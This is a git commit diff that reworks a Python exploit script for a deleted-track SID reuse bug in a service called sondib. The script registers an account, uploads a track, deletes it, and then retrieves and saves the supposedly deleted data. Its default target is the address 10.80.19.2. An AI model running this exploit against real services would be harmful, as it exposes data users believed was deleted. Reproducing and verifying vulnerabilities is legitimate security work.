Make sondib exploit reproducible

This commit is contained in:
yato committed 2026-11-29 16:21:35 +03:00
1 parent bd73021ac4
commit 2e40343331
1 file changed
+52 -44
+52 -44
View File
@@ -1,17 +1,20 @@
#!/usr/bin/env python3
"""PoC for the deleted-track SID reuse bug in sondib.
"""Exploit the deleted-track SID reuse bug in sondib.
Exit status is 0 when the target is vulnerable (a deleted track is returned),
and 1 when the target rejects the deleted SID as expected after the fix.
The PoC downloads a track before deletion, deletes it, then downloads the
same SID/key again. A second non-empty download proves the vulnerability.
Exit codes: 0 vulnerable, 1 patched, 2 setup or communication error.
"""
from __future__ import annotations
import argparse
import re
import secrets
import subprocess
import sys
import tempfile
import time
from pathlib import Path
@@ -19,82 +22,87 @@ SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb"
SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$")
def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]:
def run_sdb(target: str, *args: str, timeout: int = 10) -> subprocess.CompletedProcess[bytes]:
command = [str(SDB), args[0], target, *args[1:]]
try:
return subprocess.run(
command,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=10,
timeout=timeout,
check=False,
)
except subprocess.TimeoutExpired:
return subprocess.CompletedProcess(
command,
124,
b"",
b"sdb timed out after 10 seconds",
)
return subprocess.CompletedProcess(command, 124, b"", b"sdb timed out")
def output(result: subprocess.CompletedProcess[bytes]) -> bytes:
return result.stdout + b"\n" + result.stderr
def text_output(result: subprocess.CompletedProcess[bytes]) -> str:
return (result.stdout + b"\n" + result.stderr).decode(errors="replace").strip()
def fail(message: str) -> int:
print(f"error: {message}", file=sys.stderr)
print(f"error: {message}")
return 2
def main() -> int:
if len(sys.argv) != 2:
print(f"usage: {Path(sys.argv[0]).name} TARGET", file=sys.stderr)
return 2
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("target", nargs="?", default="10.80.19.2")
parser.add_argument("-o", "--output", type=Path, help="save leaked SDZ here")
args = parser.parse_args()
target = sys.argv[1]
if not SDB.is_file():
return fail(f"sdb client not found: {SDB}")
username = f"reuse_{secrets.token_hex(4)}"
password = secrets.token_urlsafe(12)
username = f"reuse{secrets.token_hex(5)}"
password = f"pw{secrets.token_hex(6)}"
registered = run_sdb(target, "register", username, password)
registered = run_sdb(args.target, "register", username, password)
if registered.returncode != 0:
return fail(f"register failed: {output(registered).decode(errors='replace').strip()}")
return fail(f"register failed: {text_output(registered)}")
with tempfile.NamedTemporaryFile(prefix="sondib-probe-", suffix=".pcm") as pcm:
pcm.write(b"\0" * 1024)
pcm.flush()
uploaded = run_sdb(
target,
"upload",
username,
password,
"deleted-probe",
"p",
pcm.name,
args.target, "upload", username, password,
"deleted-probe", "p", pcm.name,
)
match = SID_KEY.search(output(uploaded))
match = SID_KEY.search(uploaded.stdout + b"\n" + uploaded.stderr)
if not match:
return fail(f"upload did not return SID/key: {output(uploaded).decode(errors='replace').strip()}")
return fail(f"upload did not return SID/key: {text_output(uploaded)}")
sid, key = (part.decode() for part in match.groups())
# sdb reports the server's status byte as its process status. Mutating
# commands can therefore return non-zero even after the server accepted
# the request (the upload above is one example). The download result is
# the authoritative oracle for this PoC, so do not reject that response.
run_sdb(target, "delete", username, password, sid, key)
downloaded = run_sdb(target, "download", sid, key)
if downloaded.stdout:
print(f"VULNERABLE: deleted track {sid} is still downloadable ({len(downloaded.stdout)} bytes)")
before = run_sdb(args.target, "download", sid, key)
if not before.stdout:
return fail(f"fresh track was not downloadable: {text_output(before)}")
# sdb exposes the server status byte as its process status; mutating
# commands can be non-zero even when the state change succeeded.
run_sdb(args.target, "delete", username, password, sid, key)
time.sleep(0.2)
after = run_sdb(args.target, "download", sid, key)
if after.stdout:
output_path = args.output
if output_path is None:
handle = tempfile.NamedTemporaryFile(
prefix=f"sondib-leak-{sid}-", suffix=".sdz", delete=False
)
output_path = Path(handle.name)
handle.close()
output_path.write_bytes(after.stdout)
print(
f"VULNERABLE: deleted track {sid} returned {len(after.stdout)} bytes; "
f"saved to {output_path}"
)
return 0
print(f"blocked: deleted track {sid} was not returned")
return 1
if after.returncode != 0:
print(f"blocked: deleted track {sid} was rejected")
return 1
return fail("download returned no data without a protocol error")
if __name__ == "__main__":